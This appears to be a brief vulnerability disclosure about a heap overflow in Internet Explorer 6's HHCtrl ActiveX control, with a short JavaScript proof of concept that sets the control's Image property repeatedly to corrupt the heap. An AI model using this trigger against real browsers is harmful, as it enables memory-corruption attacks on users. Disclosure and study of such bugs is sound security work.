The following bug was tested on the latest version of Internet Explorer 6
on a fully-patched Windows XP SP2 system. This bug is interesting because
a small heap overflow occurs each time this property is set. The bug is difficult
to detect unless heap verification has been enabled in the global debug flags
for iexplore.exe. The demonstration below results in a possibly exploitable heap
corruption after 128 or more iterations of the property set.
var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;
for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}
